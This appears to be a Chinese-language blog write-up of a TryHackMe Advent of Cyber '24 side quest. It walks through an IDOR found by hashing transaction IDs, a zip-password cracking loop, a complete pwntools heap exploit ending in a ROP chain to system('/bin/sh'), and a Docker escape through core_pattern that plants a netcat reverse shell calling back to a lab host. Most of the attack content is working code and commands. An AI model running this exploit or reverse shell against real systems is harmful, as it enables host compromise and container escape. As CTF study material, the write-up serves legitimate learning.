keycard
位于
day12
,从这句话暗示出在找IDOR
越权漏洞:用大字典扫多出一个
transactions
看到需要
id
值而正常交易后会给我们一个交易id,填进去
而这串值是32位
md5
:那么可以通过手动加密来遍历所有交易的情况,wp这里限制在
1330-1350
的范围然后attackbox的社区版不支持这么攻击,偷张图
特殊长度的响应包里面返回值解码是
keycard
的地址:/secret/0opsIDidItAgain_MayorMalware1337.png
BlizzardB3arM4sterCrack3rFTW
逃离暴风雪
继续
21337
关防火墙能扫出来
backup
都存下来,然后尝试连接
1337
zip
解压enc
文件可以将字符串加密,而zip
文件的密码并非是密码本中的那么自然用
enc
文件重新加密密码本再尝试解压:1
2
3
4
5
6
7
8
9
while IFS= read -r line; do
if 7z x -y -p$(./enc $line) ./secure-storage.zip; then
echo "found: $line"
exit 0
fi
echo "test: $line"
done得到密码
30510d980c6bd5b3898dd0836426807b
堆的
pwn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147from pwn import *
binary = './secureStorage'
elf = ELF(binary)
libc = ELF('./libc.so.6')
p = remote('10.10.245.156', 1337)
# p = process(binary)
def create(index,size,data):
p.sendlineafter(b'>>', b'1')
p.sendlineafter(b'index:', str(index).encode())
p.sendlineafter(b'size:', str(size).encode())
p.sendafter(b'data:', data)
def edit(index,data):
p.sendlineafter(b'>>', b'3')
p.sendlineafter(b'index:', str(index).encode())
p.sendafter(b'data:', data)
def show(index):
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b'index:', str(index).encode())
p.recvline();
return p.recvline().strip()
# first need a libc and heap base leak
create(0, 256, 256*b"A" + p64(0) + p64(0xc61)) # create an overflow top chunk size, 'house of orange' style
create(1, 0xf98, b"firstlargechunk") # this will be used later, but here forces top chunk into unsorted bin
# original top is now in unsorted bins because its size is too big for tcache bins
# leak a libc address, by carving a portion from our unsorted bin
# which has a libc address in it at 8: and which gets preserved in the new alloc
create(2, 24, b"LEAKADDD")
data = show(2)
data = u64(data[-6:].ljust(8,b'\x00'))
print('leaked libc: ' + hex(data))
libc_base = data - 0x204120 # calculated using vmmap and comparing libc base the above
print('libc\'s base: ' + hex(libc_base))
libc.address = libc_base
# do the same again, this time for a heap address at position 16:
edit(2, b"LEAKADDDLEAKADDD")
data = show(2)
data = u64(data[-6:].ljust(8,b'\x00'))
print('leaked heap: ' + hex(data))
heap_base = data - 0x3a0 # calculated using vmmap and comparing to the above
print('heap\'s base: ' + hex(heap_base))
# now need to return to our second alloc (first big one) to overflow the new top
# need to overflow the top size to 0x60 (61 with in use bit) so it goes into a specific tcache bin
# under 0x410 means tcache, not unsorted. this is the 'house of tangerine' attack
payload = b"A"*0xf98
payload += p64(0x61) # target bin we want to hit, here 0x40 + 0x20
edit(1, payload)
create(3, 0xf98, b"secondlargechunk")
# top chunk will now be in tcache 0x40 (this is the second top chunk, after the original we used for leaks)
payload = b"secondlargechunk"
payload += b"B"*(0xf98 - len(payload))
payload += p64(0x61)
edit(3, payload)
create(4, 0x1000, b"thirdlargechunk")
# new top chunk will be in tcache 0x40, linked to the first one
# need to calculate the corrupted tcache address (which is xor encoded with portions of its memory address)
# which will be our target; when we allocate off the tcache list, malloc will return this target address
vuln_tcache = heap_base + 0x43FB0 # this is the first address after the size of the first tcache chunk, overwritable with index 2
print("tcache address: " + hex(vuln_tcache))
target = libc.symbols["__libc_argv"] - 0x10 # this contains an address on the stack, which can leak to use for further targeting. go back 0x10 so as not to wipe the data we want to read
print("target address: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12) # not-so-safe linking protection bypass
payload = b"A"*0xf98
payload += p64(0x41) # note once the bins are in the tcache, they are 0x20 smaller than they were before
payload += p64(safe_link_addr)
edit(3, payload)
# allocate out of the tcache bin, corruptng it
create(5, 0x30, b"removefirsttcache")
create(6, 0x30, b"controllocation!") # this 'permit' will be allocated at the address we specified above
data = show(6)
data = u64(data[-6:].ljust(8,b'\x00'))
print('leaked stack: ' + hex(data))
predicted_main_ret = data - 0x120
print('main ret: ' + hex(predicted_main_ret))
create(7, 0xc10, b"fourthlargechunk") # just to clean out the unsorted bin - this is the size of the bin - 0x10, and results in the bin being fully allocated back on the heap
# we do this because its size is bigger than the tcache bins we want to create next, which will likely mean any allocations would have gotten carved out of this bin instead
# first of the new tcache bins - still in the heap at this point
create(8, 0xbc8, b"fifthlargechunk")
payload = b"fifthlargechunk"
payload += b"C"*(0xbc8 - len(payload))
payload += p64(0x421) # size of the bin we are targeting, 0x400 + 0x20
edit(8, payload)
# second new bin, and also it pushes the previous into the tcache
create(9, 0xbd8, b"sixthlargechunk")
payload = b"sixthlargechunk"
payload += b"D"*(0xbd8 - len(payload))
payload += p64(0x421)
edit(9, payload)
# this will push the second bin into the tcache bin 0x400, with the two linked
create(10, 0x1000, b"seventhlargechunk")
# targeting for our second arbitrary allow - the offset is calculated by the head of the tcache bin - heap base
vuln_tcache = heap_base + 0x87BF0
print("new vuln tcache: " + hex(vuln_tcache))
target = predicted_main_ret - 0x8
print("target: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12)
# load in the target
payload = b"sixthlargechunk"
payload += b"D"*(0xbd8 - len(payload))
payload += p64(0x401) # 0x20 smaller than 0x420
payload += p64(safe_link_addr)
edit(9, payload)
# allocate out of the tcache bin, corrupting it
create(11, 0x3f0, b"removefirsttcache") # 0x10 (16 bytes) smaller than the tcache bin.
# this will be at our target location
ret = p64(libc_base + 0x1afc8c) # objdump -d libc.so.6 | grep ret
poprdiret = p64(libc_base + 0x10f75b) # ROPgadget --binary libc.so.6 | grep 'pop rdi'
system = p64(libc.symbols["system"])
binsh = p64(libc_base + 0x1cb42f) # strings -a -t x libc.so.6 | grep /bin/sh
final_payload = p64(0) + ret + poprdiret + binsh + system + p64(0)
create(12, 0x3f0, final_payload)
# attach(p)
p.sendlineafter(b'>>', b'4') # exit main to trigger exploit
p.interactive()docker
逃逸不逃逸的懒狗办法
这里引入一个很厉害的工具 cdk
其存在一个很超模的功能:从主机读取任意文件:
core_pattern
核心模式突破前置-管道符
|
在核心模式突破中,管道符告诉内核,在生成核心转储时,不将转储数据写入文件,而将数据传递给管道符后面的指定程序并交由该程序处理
通常情况下,
/proc/sys/kernel/core_pattern
用来指定程序崩溃后核心转储文件的存储路径:1
echo '/tmp/core.%e.%p' > /proc/sys/kernel/core_pattern
此将核心转储文件保存到
/tmp
下,包含崩溃的程序名%e
和进程id%p
但当路径以管道符
|
作为前缀时,内核不再将核心转储数据写入文件,而将其作为输入传递给指定程序,即该指定程序可在任何程序崩溃时由内核调用并执行1
echo "|/usr/bin/process_core" > /proc/sys/kernel/core_pattern
即某程序崩溃后核心转储数据被传递给
/usr/bin/process_core
,后者对数据做进一步处理而在
docker
逃逸中,利用这一机制将管道符后的程序路径设为自定义的恶意脚本:1
echo "|/var/lib/docker/overlay2/.../diff/shell.sh" > /proc/sys/kernel/core_pattern
此时某一程序崩溃后会由内核执行
shell.sh
脚本,而由于core_pattern
是主机内核的配置项,那么该脚本将会在主机上运行从而实现逃逸传
linpeas
看到:在这种情况下,利用了容器化环境中
core_pattern
内核参数配置错误来实现逃逸。此时主机系统被配置为以某种方式存储或处理核心转储,从而暴露敏感数据或允许容器与主机交互。条件为:
容器以特权模式运行或具有
CAP_SYS_ADMIN
来修改/proc/sys/kernel/core_pattern
- 可访问主机目录的写入权限
core_pattern
配置不安全或可被容器覆盖首先测试下是否可以模拟崩溃:
1
2
3echo '/tmp/core.%e.%p' > /proc/sys/kernel/core_pattern
python3 -c 'import os; os.abort()'
ls /tmp然后就是脚本编写,为了能从主机被访问到,需要找到挂载点与覆盖文件夹:
1
mount
即容器上的
/
实际位于主机上的/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff
在
/
目录下写一个反弹shell
1
2
3echo '#!/bin/bash' > /shell.sh
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.39.83 4444 >/tmp/f' >> /shell.sh
chmod +x /shell.sh然后加上管道符和在主机上的完全路径:
1
echo "|/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff/shell.sh" > /proc/sys/kernel/core_pattern
然后强制崩溃,在此之前攻击机开监听
1
python3 -c 'import os; os.abort()'
THM打靶日寄62-Advent of Cyber '24:支线T3丑陋复现
- 本文链接: http://noone40404.github.io/2025/01/25/THM打靶日寄62:Advent of Cyber '24 Side QuestT3/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!